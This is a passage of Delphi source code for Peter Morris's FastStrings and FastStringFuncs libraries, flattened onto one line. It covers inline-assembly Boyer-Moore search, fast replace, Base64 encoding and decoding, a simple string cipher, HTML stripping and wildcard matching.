TBMJumpTable); Begin. If BufferLen = 0 then raise Exception.Create('BufferLen is 0'); Asm. Push EDI. Push ESI. Mov EDI, JumpTable. Mov EAX, BufferLen. Mov ECX, $100. REPNE STOSD. Mov EDX, GUpcaseLUT. Mov ECX, BufferLen. Mov EDI, JumpTable. Mov ESI, Buffer. Dec ECX. Xor EAX, EAX. @@loop: Mov AL, [ESI]. Lea ESI, ESI + 1. Mov AL, [EDX + EAX]. Mov [EDI + EAX * 4], ECX. Dec ECX. Jg @@loop. Pop ESI. Pop EDI. End; End; Function BMPos(const aSource, aFind: Pointer; const aSourceLen, aFindLen: Integer; var JumpTable: TBMJumpTable): Pointer; Var. LastPos: Pointer; Begin. LastPos := Pointer(Integer(aSource) + aSourceLen - 1); Asm. Push ESI. Push EDI. Push EBX. Mov EAX, aFindLen. Mov ESI, aSource. Lea ESI, ESI + EAX - 1. Std. Mov EBX, JumpTable. @@comparetext: Cmp ESI, LastPos. Jg @@NotFound. Mov EAX, aFindLen. Mov EDI, aFind. Mov ECX, EAX. Push ESI //Remember where we are. Lea EDI, EDI + EAX - 1. Xor EAX, EAX. @@CompareNext: Mov al, [ESI]. Cmp al, [EDI]. Jne @@LookAhead. Lea ESI, ESI - 1. Lea EDI, EDI - 1. Dec ECX. Jz @@Found. Jmp @@CompareNext. @@LookAhead: //Look up the char in our Jump Table. Pop ESI. Mov al, [ESI]. Mov EAX, [EBX + EAX * 4]. Lea ESI, ESI + EAX. Jmp @@CompareText. @@NotFound: Mov Result, 0. Jmp @@TheEnd. @@Found: Pop EDI //We are just popping, we don't need the value. Inc ESI. Mov Result, ESI. @@TheEnd: Cld. Pop EBX. Pop EDI. Pop ESI. End; End; Function BMPosNoCase(const aSource, aFind: Pointer; const aSourceLen, aFindLen: Integer; var JumpTable: TBMJumpTable): Pointer; Var. LastPos: Pointer; Begin. LastPos := Pointer(Integer(aSource) + aSourceLen - 1); Asm. Push ESI. Push EDI. Push EBX. Mov EAX, aFindLen. Mov ESI, aSource. Lea ESI, ESI + EAX - 1. Std. Mov EDX, GUpcaseLUT. @@comparetext: Cmp ESI, LastPos. Jg @@NotFound. Mov EAX, aFindLen. Mov EDI, aFind. Push ESI //Remember where we are. Mov ECX, EAX. Lea EDI, EDI + EAX - 1. Xor EAX, EAX. @@CompareNext: Mov al, [ESI]. Mov bl, [EDX + EAX]. Mov al, [EDI]. Cmp bl, [EDX + EAX]. Jne @@LookAhead. Lea ESI, ESI - 1. Lea EDI, EDI - 1. Dec ECX. Jz @@Found. Jmp @@CompareNext. @@LookAhead: //Look up the char in our Jump Table. Pop ESI. Mov EBX, JumpTable. Mov al, [ESI]. Mov al, [EDX + EAX]. Mov EAX, [EBX + EAX * 4]. Lea ESI, ESI + EAX. Jmp @@CompareText. @@NotFound: Mov Result, 0. Jmp @@TheEnd. @@Found: Pop EDI //We are just popping, we don't need the value. Inc ESI. Mov Result, ESI. @@TheEnd: Cld. Pop EBX. Pop EDI. Pop ESI. End; End; //NOTE : FastCharPos and FastCharPosNoCase do not require you to pass the length. // of the string, this was only done in FastPos and FastPosNoCase because. // they are used by FastReplace many times over, thus saving a LENGTH(). // operation each time. I can't see you using these two routines for the. // same purposes so I didn't do that this time ! Function FastCharPos(const aSource : string; const C: Char; StartPos : Integer) : Integer; Var. L : Integer; Begin. //If this assert failed, it is because you passed 0 for StartPos, lowest value is 1 !! Assert(StartPos > 0); Result := 0; L := Length(aSource); If L = 0 then exit; If StartPos > L then exit; Dec(StartPos); Asm. PUSH EDI //Preserve this register. Mov EDI, aSource //Point EDI at aSource. Add EDI, StartPos. Mov ECX, L //Make a note of how many chars to search through. Sub ECX, StartPos. Mov AL, C //and which char we want. @Loop: Cmp Al, [EDI] //compare it against the SourceString. Jz @Found. Inc EDI. Dec ECX. Jnz @Loop. Jmp @NotFound. @Found: Sub EDI, aSource //EDI has been incremented, so EDI-OrigAdress = Char pos ! Inc EDI. Mov Result, EDI. @NotFound: POP EDI. End; End; Function FastCharPosNoCase(const aSource : string; C: Char; StartPos : Integer) : Integer; Var. L : Integer; Begin. Result := 0; L := Length(aSource); If L = 0 then exit; If StartPos > L then exit; Dec(StartPos); If StartPos < 0 then StartPos := 0; Asm. PUSH EDI //Preserve this register. PUSH EBX. Mov EDX, GUpcaseLUT. Mov EDI, aSource //Point EDI at aSource. Add EDI, StartPos. Mov ECX, L //Make a note of how many chars to search through. Sub ECX, StartPos. Xor EBX, EBX. Mov BL, C. Mov AL, [EDX+EBX]. @Loop: Mov BL, [EDI]. Inc EDI. Cmp Al, [EDX+EBX]. Jz @Found. Dec ECX. Jnz @Loop. Jmp @NotFound. @Found: Sub EDI, aSource //EDI has been incremented, so EDI-OrigAdress = Char pos ! Mov Result, EDI. @NotFound: POP EBX. POP EDI. End; End; //The first thing to note here is that I am passing the SourceLength and FindLength. //As neither Source or Find will alter at any point during FastReplace there is. //no need to call the LENGTH subroutine each time ! Function FastPos(const aSourceString, aFindString : string; const aSourceLen, aFindLen, StartPos : Integer) : Integer; Var. JumpTable: TBMJumpTable; Begin. //If this assert failed, it is because you passed 0 for StartPos, lowest value is 1 !! Assert(StartPos > 0); If aFindLen < 1 then begin. Result := 0; Exit; End; If aFindLen > aSourceLen then begin. Result := 0; Exit; End; MakeBMTable(PChar(aFindString), aFindLen, JumpTable); Result := Integer(BMPos(PChar(aSourceString) + (StartPos - 1), PChar(aFindString),aSourceLen - (StartPos-1), aFindLen, JumpTable)); If Result > 0 then. Result := Result - Integer(@aSourceString[1]) +1; End; Function FastPosNoCase(const aSourceString, aFindString : string; const aSourceLen, aFindLen, StartPos : Integer) : Integer; Var. JumpTable: TBMJumpTable; Begin. //If this assert failed, it is because you passed 0 for StartPos, lowest value is 1 !! Assert(StartPos > 0); If aFindLen < 1 then begin. Result := 0; Exit; End; If aFindLen > aSourceLen then begin. Result := 0; Exit; End; MakeBMTableNoCase(PChar(AFindString), aFindLen, JumpTable); Result := Integer(BMPosNoCase(PChar(aSourceString) + (StartPos - 1), PChar(aFindString),aSourceLen - (StartPos-1), aFindLen, JumpTable)); If Result > 0 then. Result := Result - Integer(@aSourceString[1]) +1; End; Function FastPosBack(const aSourceString, aFindString : string; const aSourceLen, aFindLen, StartPos : Integer) : Integer; Var. SourceLen : Integer; Begin. If aFindLen < 1 then begin. Result := 0; Exit; End; If aFindLen > aSourceLen then begin. Result := 0; Exit; End; If (StartPos = 0) or (StartPos + aFindLen > aSourceLen) then. SourceLen := aSourceLen - (aFindLen-1). Else. SourceLen := StartPos; Asm. Push ESI. Push EDI. Push EBX. Mov EDI, aSourceString. Add EDI, SourceLen. Dec EDI. Mov ESI, aFindString. Mov ECX, SourceLen. Mov Al, [ESI]. @ScaSB: Cmp Al, [EDI]. Jne @NextChar. @CompareStrings: Mov EBX, aFindLen. Dec EBX. Jz @FullMatch. @CompareNext: Mov Ah, [ESI+EBX]. Cmp Ah, [EDI+EBX]. Jnz @NextChar. @Matches: Dec EBX. Jnz @CompareNext. @FullMatch: Mov EAX, EDI. Sub EAX, aSourceString. Inc EAX. Mov Result, EAX. Jmp @TheEnd. @NextChar: Dec EDI. Dec ECX. Jnz @ScaSB. Mov Result,0. @TheEnd: Pop EBX. Pop EDI. Pop ESI. End; End; Function FastPosBackNoCase(const aSourceString, aFindString : string; const aSourceLen, aFindLen, StartPos : Integer) : Integer; Var. SourceLen : Integer; Begin. If aFindLen < 1 then begin. Result := 0; Exit; End; If aFindLen > aSourceLen then begin. Result := 0; Exit; End; If (StartPos = 0) or (StartPos + aFindLen > aSourceLen) then. SourceLen := aSourceLen - (aFindLen-1). Else. SourceLen := StartPos; Asm. Push ESI. Push EDI. Push EBX. Mov EDI, aSourceString. Add EDI, SourceLen. Dec EDI. Mov ESI, aFindString. Mov ECX, SourceLen. Mov EDX, GUpcaseLUT. Xor EBX, EBX. Mov Bl, [ESI]. Mov Al, [EDX+EBX]. @ScaSB: Mov Bl, [EDI]. Cmp Al, [EDX+EBX]. Jne @NextChar. @CompareStrings: PUSH ECX. Mov ECX, aFindLen. Dec ECX. Jz @FullMatch. @CompareNext: Mov Bl, [ESI+ECX]. Mov Ah, [EDX+EBX]. Mov Bl, [EDI+ECX]. Cmp Ah, [EDX+EBX]. Jz @Matches. //Go back to findind the first char. POP ECX. Jmp @NextChar. @Matches: Dec ECX. Jnz @CompareNext. @FullMatch: POP ECX. Mov EAX, EDI. Sub EAX, aSourceString. Inc EAX. Mov Result, EAX. Jmp @TheEnd. @NextChar: Dec EDI. Dec ECX. Jnz @ScaSB. Mov Result,0. @TheEnd: Pop EBX. Pop EDI. Pop ESI. End; End; //My move is not as fast as MOVE when source and destination are both. //DWord aligned, but certainly faster when they are not. //As we are moving characters in a string, it is not very likely at all that. //both source and destination are DWord aligned, so moving bytes avoids the. //cycle penality of reading/writing DWords across physical boundaries. Procedure FastCharMove(const Source; var Dest; Count : Integer); Asm. //Note: When this function is called, delphi passes the parameters as follows. //ECX = Count. //EAX = Const Source. //EDX = Var Dest. //If no bytes to copy, just quit altogether, no point pushing registers. Cmp ECX,0. Je @JustQuit. //Preserve the critical delphi registers. Push ESI. Push EDI. //move Source into ESI (generally the SOURCE register). //move Dest into EDI (generally the DEST register for string commands). //This may not actually be neccessary, as I am not using MOVsb etc. //I may be able just to use EAX and EDX, there may be a penalty for. //not using ESI, EDI but I doubt it, this is another thing worth trying ! Mov ESI, EAX. Mov EDI, EDX. //The following loop is the same as repNZ MovSB, but oddly quicker ! @Loop: //Get the source byte. Mov AL, [ESI]. //Point to next byte. Inc ESI. //Put it into the Dest. Mov [EDI], AL. //Point dest to next position. Inc EDI. //Dec ECX to note how many we have left to copy. Dec ECX. //If ECX <> 0 then loop. Jnz @Loop. //Another optimization note. //Many people like to do this. //Mov AL, [ESI]. //Mov [EDI], Al. //Inc ESI. //Inc ESI. //There is a hidden problem here, I wont go into too much detail, but. //the pentium can continue processing instructions while it is still. //working out the result of INC ESI or INC EDI. //(almost like a multithreaded CPU). //if, however, you go to use them while they are still being calculated. //the processor will stop until they are calculated (a penalty). //Therefore I alter ESI and EDI as far in advance as possible of using them. //Pop the critical Delphi registers that we have altered. Pop EDI. Pop ESI. @JustQuit: End; Function FastAnsiReplace(const S, OldPattern, NewPattern: string; Flags: TReplaceFlags): string; Var. BufferSize, BytesWritten: Integer; SourceString, FindString: string; ResultPChar: PChar; FindPChar, ReplacePChar: PChar; SPChar, SourceStringPChar, PrevSourceStringPChar: PChar; FinalSourceMarker: PChar; SourceLength, FindLength, ReplaceLength, CopySize: Integer; FinalSourcePosition: Integer; Begin. //Set up string lengths. BytesWritten := 0; SourceLength := Length(S); FindLength := Length(OldPattern); ReplaceLength := Length(NewPattern); //Quick exit. If (SourceLength = 0) or (FindLength = 0) or. (FindLength > SourceLength) then. Begin. Result := S; Exit; End; //Set up the source string and find string. If rfIgnoreCase in Flags then. Begin. SourceString := AnsiUpperCase(S); FindString := AnsiUpperCase(OldPattern); End else. Begin. SourceString := S; FindString := OldPattern; End; //Set up the result buffer size and pointers. Try. If ReplaceLength <= FindLength then. //Result cannot be larger, only same size or smaller. BufferSize := SourceLength. Else. //Assume a source string made entired of the sub string. BufferSize := (SourceLength * ReplaceLength) div. FindLength; //10 times is okay for starters. We don't want to. //go allocating much more than we need. If BufferSize > (SourceLength * 10) then. BufferSize := SourceLength * 10; Except. //Oops, integer overflow! Better start with a string. //of the same size as the source. BufferSize := SourceLength; End; SetLength(Result, BufferSize); ResultPChar := @Result[1]; //Set up the pointers to S and SourceString. SPChar := @S[1]; SourceStringPChar := @SourceString[1]; PrevSourceStringPChar := SourceStringPChar; FinalSourceMarker := @SourceString[SourceLength - (FindLength - 1)]; //Set up the pointer to FindString. FindPChar := @FindString[1]; //Set the pointer to ReplaceString. If ReplaceLength > 0 then. ReplacePChar := @NewPattern[1]. Else. ReplacePChar := nil; //Replace routine. Repeat. //Find the sub string. SourceStringPChar := AnsiStrPos(PrevSourceStringPChar, FindPChar); If SourceStringPChar = nil then Break; //How many characters do we need to copy before. //the string occurs. CopySize := SourceStringPChar - PrevSourceStringPChar; //Check we have enough space in our Result buffer. If CopySize + ReplaceLength > BufferSize - BytesWritten then. Begin. BufferSize := Trunc((BytesWritten + CopySize + ReplaceLength) * cDeltaSize); SetLength(Result, BufferSize); ResultPChar := @Result[BytesWritten + 1]; End; //Copy the preceeding characters to our result buffer. Move(SPChar^, ResultPChar^, CopySize); Inc(BytesWritten, CopySize); //Advance the copy position of S. Inc(SPChar, CopySize + FindLength); //Advance the Result pointer. Inc(ResultPChar, CopySize); //Copy the replace string into the Result buffer. If Assigned(ReplacePChar) then. Begin. Move(ReplacePChar^, ResultPChar^, ReplaceLength); Inc(ResultPChar, ReplaceLength); Inc(BytesWritten, ReplaceLength); End; //Fake delete the start of the source string. PrevSourceStringPChar := SourceStringPChar + FindLength; Until (PrevSourceStringPChar > FinalSourceMarker) or. Not (rfReplaceAll in Flags); FinalSourcePosition := Integer(SPChar - @S[1]); CopySize := SourceLength - FinalSourcePosition; SetLength(Result, BytesWritten + CopySize); If CopySize > 0 then. Move(SPChar^, Result[BytesWritten + 1], CopySize); End; Function FastReplace(const aSourceString : string; const aFindString, aReplaceString : string; CaseSensitive : Boolean = False) : string; Var. PResult : PChar; PReplace : PChar; PSource : PChar; PFind : PChar; PPosition : PChar; CurrentPos, BytesUsed, LResult, LReplace, LSource, LFind : Integer; Find : TFastPosProc; CopySize : Integer; JumpTable : TBMJumpTable; Begin. LSource := Length(aSourceString); If LSource = 0 then begin. Result := aSourceString; Exit; End; PSource := @aSourceString[1]; LFind := Length(aFindString); If LFind = 0 then exit; PFind := @aFindString[1]; LReplace := Length(aReplaceString); //Here we may get an Integer Overflow, or OutOfMemory, if so, we use a Delta. Try. If LReplace <= LFind then. SetLength(Result,lSource). Else. SetLength(Result, (LSource *LReplace) div LFind); Except. SetLength(Result,0); End; LResult := Length(Result); If LResult = 0 then begin. LResult := Trunc((LSource + LReplace) * cDeltaSize); SetLength(Result, LResult); End; PResult := @Result[1]; If CaseSensitive then. Begin. MakeBMTable(PChar(AFindString), lFind, JumpTable); Find := BMPos; End else. Begin. MakeBMTableNoCase(PChar(AFindString), lFind, JumpTable); Find := BMPosNoCase; End; BytesUsed := 0; If LReplace > 0 then begin. PReplace := @aReplaceString[1]; Repeat. PPosition := Find(PSource,PFind,lSource, lFind, JumpTable); If PPosition = nil then break; CopySize := PPosition - PSource; Inc(BytesUsed, CopySize + LReplace); If BytesUsed >= LResult then begin. //We have run out of space. CurrentPos := Integer(PResult) - Integer(@Result[1]) +1; LResult := Trunc(LResult * cDeltaSize); SetLength(Result,LResult); PResult := @Result[CurrentPos]; End; FastCharMove(PSource^,PResult^,CopySize); Dec(lSource,CopySize + LFind); Inc(PSource,CopySize + LFind); Inc(PResult,CopySize); FastCharMove(PReplace^,PResult^,LReplace); Inc(PResult,LReplace); Until lSource < lFind; End else begin. Repeat. PPosition := Find(PSource,PFind,lSource, lFind, JumpTable); If PPosition = nil then break; CopySize := PPosition - PSource; FastCharMove(PSource^,PResult^,CopySize); Dec(lSource,CopySize + LFind); Inc(PSource,CopySize + LFind); Inc(PResult,CopySize); Inc(BytesUsed, CopySize); Until lSource < lFind; End; SetLength(Result, (PResult+LSource) - @Result[1]); If LSource > 0 then. FastCharMove(PSource^, Result[BytesUsed + 1], LSource); End; Function FastTagReplace(const SourceString, TagStart, TagEnd: string; FastTagReplaceProc: TFastTagReplaceProc; const UserData: Integer): string; Var. TagStartPChar: PChar; TagEndPChar: PChar; SourceStringPChar: PChar; TagStartFindPos: PChar; TagEndFindPos: PChar; TagStartLength: Integer; TagEndLength: Integer; DestPChar: PChar; FinalSourceMarkerStart: PChar; FinalSourceMarkerEnd: PChar; BytesWritten: Integer; BufferSize: Integer; CopySize: Integer; ReplaceString: string; Procedure AddBuffer(const Buffer: Pointer; Size: Integer); Begin. If BytesWritten + Size > BufferSize then. Begin. BufferSize := Trunc(BufferSize * cDeltaSize); If BufferSize <= (BytesWritten + Size) then. BufferSize := Trunc((BytesWritten + Size) * cDeltaSize); SetLength(Result, BufferSize); DestPChar := @Result[BytesWritten + 1]; End; Inc(BytesWritten, Size); FastCharMove(Buffer^, DestPChar^, Size); DestPChar := DestPChar + Size; End; Begin. Assert(Assigned(@FastTagReplaceProc)); TagStartPChar := PChar(TagStart); TagEndPChar := PChar(TagEnd); If (SourceString = '') or (TagStart = '') or (TagEnd = '') then. Begin. Result := SourceString; Exit; End; SourceStringPChar := PChar(SourceString); TagStartLength := Length(TagStart); TagEndLength := Length(TagEnd); FinalSourceMarkerEnd := SourceStringPChar + Length(SourceString) - TagEndLength; FinalSourceMarkerStart := FinalSourceMarkerEnd - TagStartLength; BytesWritten := 0; BufferSize := Length(SourceString); SetLength(Result, BufferSize); DestPChar := @Result[1]; Repeat. TagStartFindPos := AnsiStrPos(SourceStringPChar, TagStartPChar); If (TagStartFindPos = nil) or (TagStartFindPos > FinalSourceMarkerStart) then Break; TagEndFindPos := AnsiStrPos(TagStartFindPos + TagStartLength, TagEndPChar); If (TagEndFindPos = nil) or (TagEndFindPos > FinalSourceMarkerEnd) then Break; CopySize := TagStartFindPos - SourceStringPChar; AddBuffer(SourceStringPChar, CopySize); CopySize := TagEndFindPos - (TagStartFindPos + TagStartLength); SetLength(ReplaceString, CopySize); If CopySize > 0 then. Move((TagStartFindPos + TagStartLength)^, ReplaceString[1], CopySize); FastTagReplaceProc(ReplaceString, UserData); If Length(ReplaceString) > 0 then. AddBuffer(@ReplaceString[1], Length(ReplaceString)); SourceStringPChar := TagEndFindPos + TagEndLength; Until SourceStringPChar > FinalSourceMarkerStart; CopySize := PChar(@SourceString[Length(SourceString)]) - (SourceStringPChar - 1); If CopySize > 0 then. AddBuffer(SourceStringPChar, CopySize); SetLength(Result, BytesWritten); End; Function SmartPos(const SearchStr,SourceStr : string; Const CaseSensitive : Boolean = TRUE; Const StartPos : Integer = 1; Const ForwardSearch : Boolean = TRUE) : Integer; Begin. // NOTE: When using StartPos, the returned value is absolute! If (CaseSensitive) then. If (ForwardSearch) then. Result:= FastPos(SourceStr,SearchStr,Length(SourceStr),Length(SearchStr),StartPos). Else. Result:= FastPosBack(SourceStr,SearchStr,Length(SourceStr),Length(SearchStr),StartPos). Else. If (ForwardSearch) then. Result:= FastPosNoCase(SourceStr,SearchStr,Length(SourceStr),Length(SearchStr),StartPos). Else. Result:= FastPosBackNoCase(SourceStr,SearchStr,Length(SourceStr),Length(SearchStr),StartPos). End; Var. I: Integer; Initialization. {$IFNDEF LINUX}. For I:=0 to 255 do GUpcaseTable[I] := Chr(I); CharUpperBuff(@GUpcaseTable[0], 256); {$ELSE}. For I:=0 to 255 do GUpcaseTable[I] := UpCase(Chr(I)); {$ENDIF}. GUpcaseLUT := @GUpcaseTable[0]; End. FastStringFuncs.pas. //================================================== //All code herein is copyrighted by. //Peter Morris. //----- //Do not alter / remove this copyright notice. //Email me at : support@droopyeyes.com. // //The homepage for this library is http://www.droopyeyes.com. // //(Check out www.HowToDoThings.com for Delphi articles !). //(Check out www.stuckindoors.com if you need a free events page on your site !). Unit FastStringFuncs; Interface. Uses. {$IFDEF LINUX}. QGraphics, {$ELSE}. Graphics, {$ENDIF}. FastStrings, Sysutils, Classes; Const. CHexChars = '0123456789ABCDEF'; CSoundexTable: array[65..122] of Byte = ({A}0, {B}1, {C}2, {D}3, {E}0, {F}1, {G}2, {H}0, {I}0, {J}2, {K}2, {L}4, {M}5, {N}5, {O}0, {P}1, {Q}2, {R}6, {S}2, {T}3, {U}0, {V}1, {W}0, {X}2, {Y}0, {Z}2, 0, 0, 0, 0, 0, 0, {a}0, {b}1, {c}2, {d}3, {e}0, {f}1, {g}2, {h}0, {i}0, {j}2, {k}2, {l}4, {m}5, {n}5, {o}0, {p}1, {q}2, {r}6, {s}2, {t}3, {u}0, {v}1, {w}0, {x}2, {y}0, {z}2); Function Base64Encode(const Source: AnsiString): AnsiString; Function Base64Decode(const Source: string): string; Function CopyStr(const aSourceString : string; aStart, aLength : Integer) : string; Function Decrypt(const S: string; Key: Word): string; Function Encrypt(const S: string; Key: Word): string; Function ExtractHTML(S : string) : string; Function ExtractNonHTML(S : string) : string; Function HexToInt(aHex : string) : int64; Function LeftStr(const aSourceString : string; Size : Integer) : string; Function StringMatches(Value, Pattern : string) : Boolean; Function MissingText(Pattern, Source : string; SearchText : string = '?') : string; Function RandomFileName(aFilename : string) : string; Function RandomStr(aLength : Longint) : string; Function ReverseStr(const aSourceString: string): string; Function RightStr(const aSourceString : string; Size : Integer) : string; Function RGBToColor(aRGB : string) : TColor; Function StringCount(const aSourceString, aFindString : string; Const CaseSensitive : Boolean = TRUE) : Integer; Function SoundEx(const aSourceString: string): Integer; Function UniqueFilename(aFilename : string) : string; Function URLToText(aValue : string) : string; Function WordAt(Text : string; Position : Integer) : string; Procedure Split(aValue : string; aDelimiter : Char; var Result : TStrings); Implementation. Const. CKey1 = 52845; CKey2 = 22719; Base64_Table : shortstring = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'; Function StripHTMLorNonHTML(const S : string; WantHTML : Boolean) : string; forward; //Encode to Base64. Function Base64Encode(const Source: AnsiString): AnsiString; Var. NewLength: Integer; Begin. NewLength := ((2 + Length(Source)) div 3) * 4; SetLength( Result, NewLength); Asm. Push ESI. Push EDI. Push EBX. Lea EBX, Base64_Table. Inc EBX // Move past String Size (ShortString). Mov EDI, Result. Mov EDI, [EDI]. Mov ESI, Source. Mov EDX, [ESI-4] //Length of Input String. @WriteFirst2: CMP EDX, 0. JLE @Done. MOV AL, [ESI]. SHR AL, 2. {$IFDEF VER140} // Changes to BASM in D6. XLATB. {$ELSE}. XLAT. {$ENDIF}. MOV [EDI], AL. INC EDI. MOV AL, [ESI + 1]. MOV AH, [ESI]. SHR AX, 4. AND AL, 63. {$IFDEF VER140} // Changes to BASM in D6. XLATB. {$ELSE}. XLAT. {$ENDIF}. MOV [EDI], AL. INC EDI. CMP EDX, 1. JNE @Write3. MOV AL, 61 // Add == MOV [EDI], AL. INC EDI. MOV [EDI], AL. INC EDI. JMP @Done. @Write3: MOV AL, [ESI + 2]. MOV AH, [ESI + 1]. SHR AX, 6. AND AL, 63. {$IFDEF VER140} // Changes to BASM in D6. XLATB. {$ELSE}. XLAT. {$ENDIF}. MOV [EDI], AL. INC EDI. CMP EDX, 2. JNE @Write4. MOV AL, 61 // Add = MOV [EDI], AL. INC EDI. JMP @Done. @Write4: MOV AL, [ESI + 2]. AND AL, 63. {$IFDEF VER140} // Changes to BASM in D6. XLATB. {$ELSE}. XLAT. {$ENDIF}. MOV [EDI], AL. INC EDI. ADD ESI, 3. SUB EDX, 3. JMP @WriteFirst2. @done: Pop EBX. Pop EDI. Pop ESI. End; End; //Decode Base64. Function Base64Decode(const Source: string): string; Var. NewLength: Integer; Begin. { NB: On invalid input this routine will simply skip the bad data, a. Better solution would probably report the error. ESI -> Source String. EDI -> Result String. ECX -> length of Source (number of DWords). EAX -> 32 Bits from Source. EDX -> 24 Bits Decoded. BL -> Current number of bytes decoded. } SetLength( Result, (Length(Source) div 4) * 3); NewLength := 0; Asm. Push ESI. Push EDI. Push EBX. Mov ESI, Source. Mov EDI, Result //Result address. Mov EDI, [EDI]. Or ESI,ESI // Nil Strings. Jz @Done. Mov ECX, [ESI-4]. Shr ECX,2 // DWord Count. JeCxZ @Error // Empty String. Cld. Jmp @Read4. @Next: Dec ECX. Jz @Done. @Read4: Lodsd. Xor BL, BL. Xor EDX, EDX. Call @DecodeTo6Bits. Shl EDX, 6. Shr EAX,8. Call @DecodeTo6Bits. Shl EDX, 6. Shr EAX,8. Call @DecodeTo6Bits. Shl EDX, 6. Shr EAX,8. Call @DecodeTo6Bits. // Write Word. Or BL, BL. JZ @Next // No Data. Dec BL. Or BL, BL. JZ @Next // Minimum of 2 decode values to translate to 1 byte. Mov EAX, EDX. Cmp BL, 2. JL @WriteByte. Rol EAX, 8. BSWAP EAX. StoSW. Add NewLength, 2. @WriteByte: Cmp BL, 2. JE @Next. SHR EAX, 16. StoSB. Inc NewLength. Jmp @Next. @Error: Jmp @Done. @DecodeTo6Bits: @TestLower: Cmp AL, 'a' Jl @TestCaps. Cmp AL, 'z' Jg @Skip. Sub AL, 71. Jmp @Finish. @TestCaps: Cmp AL, 'A' Jl @TestEqual. Cmp AL, 'Z' Jg @Skip. Sub AL, 65. Jmp @Finish. @TestEqual: Cmp AL, '=' Jne @TestNum. // Skip byte. Ret. @TestNum: Cmp AL, '9' Jg @Skip. Cmp AL, '0' JL @TestSlash. Add AL, 4. Jmp @Finish. @TestSlash: Cmp AL, '/' Jne @TestPlus. Mov AL, 63. Jmp @Finish. @TestPlus: Cmp AL, '+' Jne @Skip. Mov AL, 62. @Finish: Or DL, AL. Inc BL. @Skip: Ret. @Done: Pop EBX. Pop EDI. Pop ESI. End; SetLength( Result, NewLength); // Trim off the excess. End; //Encrypt a string. Function Encrypt(const S: string; Key: Word): string; Var. I: byte; Begin. SetLength(result,length(s)); For I := 1 to Length(S) do. Begin. Result[I] := char(byte(S[I]) xor (Key shr 8)); Key := (byte(Result[I]) + Key) * cKey1 + cKey2; End; End; //Return only the HTML of a string. Function ExtractHTML(S : string) : string; Begin. Result := StripHTMLorNonHTML(S, True); End; Function CopyStr(const aSourceString : string; aStart, aLength : Integer) : string; Var. L : Integer; Begin. L := Length(aSourceString); If L=0 then Exit; If (aStart < 1) or (aLength < 1) then Exit; If aStart + (aLength-1) > L then aLength := L - (aStart-1); If (aStart <1) then exit; SetLength(Result,aLength); FastCharMove(aSourceString[aStart], Result[1], aLength); End; //Take all HTML out of a string. Function ExtractNonHTML(S : string) : string; Begin. Result := StripHTMLorNonHTML(S,False); End; //Decrypt a string encoded with Encrypt. Function Decrypt(const S: string; Key: Word): string; Var. I: byte; Begin. SetLength(result,length(s)); For I := 1 to Length(S) do. Begin. Result[I] := char(byte(S[I]) xor (Key shr 8)); Key := (byte(S[I]) + Key) * cKey1 + cKey2; End; End; //Convert a text-HEX value (FF0088 for example) to an integer. Function HexToInt(aHex : string) : int64; Var. Multiplier : Int64; Position : Byte; Value : Integer; Begin. Result := 0; Multiplier := 1; Position := Length(aHex); While Position >0 do begin. Value := FastCharPosNoCase(cHexChars, aHex[Position], 1)-1; If Value = -1 then. Raise Exception.Create('Invalid hex character ' + aHex[Position]); Result := Result + (Value * Multiplier); Multiplier := Multiplier * 16; Dec(Position); End; End; //Get the left X amount of chars. Function LeftStr(const aSourceString : string; Size : Integer) : string; Begin. If Size > Length(aSourceString) then. Result := aSourceString. Else begin. SetLength(Result, Size); Move(aSourceString[1],Result[1],Size); End; End; //Do strings match with wildcards, eg. //StringMatches('The cat sat on the mat', 'The * sat * the *') = True. Function StringMatches(Value, Pattern : string) : Boolean; Var. NextPos, Star1, Star2 : Integer; NextPattern : string; Begin. Star1 := FastCharPos(Pattern,'*',1); If Star1 = 0 then. Result := (Value = Pattern). Else. Begin. Result := (Copy(Value,1,Star1-1) = Copy(Pattern,1,Star1-1)); If Result then. Begin. If Star1 > 1 then Value := Copy(Value,Star1,Length(Value)); Pattern := Copy(Pattern,Star1+1,Length(Pattern)); NextPattern := Pattern; Star2 := FastCharPos(NextPattern, '*',1); If Star2 > 0 then NextPattern := Copy(NextPattern,1,Star2-1); //pos(NextPattern,Value); NextPos := FastPos(Value, NextPattern, Length(Value), Length(NextPattern), 1); If (NextPos = 0) and not (NextPattern = '') then. Result := False. Else. Begin. Value := Copy(Value,NextPos,Length(Value)); If Pattern = '' then. Result := True. Else. Result := Result and StringMatches(Value,Pattern); End; End; End; End; //Missing text will tell you what text is missing, eg. //MissingText('the ? sat on the mat','the cat sat on the mat','?') = 'cat' Function MissingText(Pattern, Source : string; SearchText : string = '?') : string; Var. Position : Longint; BeforeText, AfterText : string; BeforePos, AfterPos : Integer; LSearchText, LBeforeText, LAfterText, LSource : Longint; Begin. Result := ''; Position := Pos(SearchText,Pattern); If Position = 0 then exit; LSearchText := Length(SearchText); LSource := Length(Source); BeforeText := Copy(Pattern,1,Position-1); AfterText := Copy(Pattern,Position+lSearchText,lSource); LBeforeText := Length(BeforeText); LAfterText := Length(AfterText); AfterPos := lBeforeText; Repeat. AfterPos := FastPosNoCase(Source,AfterText,lSource,lAfterText,AfterPos+lSearchText); If AfterPos > 0 then begin. BeforePos := FastPosBackNoCase(Source,BeforeText,AfterPos-1,lBeforeText,AfterPos - (lBeforeText-1)); If (BeforePos > 0) then begin. Result := Copy(Source,BeforePos + lBeforeText, AfterPos - (BeforePos + lBeforeText)); Break; End; End; Until AfterPos = 0; End; //Generates a random filename but preserves the original path + extension. Function RandomFilename(aFilename : string) : string; Var. Path, Filename, Ext : string; Begin. Result := aFilename; Path := ExtractFilepath(aFilename); Ext := ExtractFileExt(aFilename); Filename := ExtractFilename(aFilename); If Length(Ext) > 0 then. Filename := Copy(Filename,1,Length(Filename)-Length(Ext)); Repeat. Result := Path + RandomStr(32) + Ext; Until not FileExists(Result); End; //Makes a string of aLength filled with random characters. Function RandomStr(aLength : Longint) : string; Var. X : Longint; Begin. If aLength <= 0 then exit; SetLength(Result, aLength); For X:=1 to aLength do. Result[X] := Chr(Random(26) + 65); End; Function ReverseStr(const aSourceString: string): string; Var. L : Integer; S, D : Pointer; Begin. L := Length(aSourceString); SetLength(Result,L); If L = 0 then exit; S := @aSourceString[1]; D := @Result[L]; Asm. Push ESI. Push EDI. Mov ECX, L. Mov ESI, S. Mov EDI, D. @Loop: Mov Al, [ESI]. Inc ESI. Mov [EDI], Al. Dec EDI. Dec ECX. Jnz @Loop. Pop EDI. Pop ESI. End; End; //Returns X 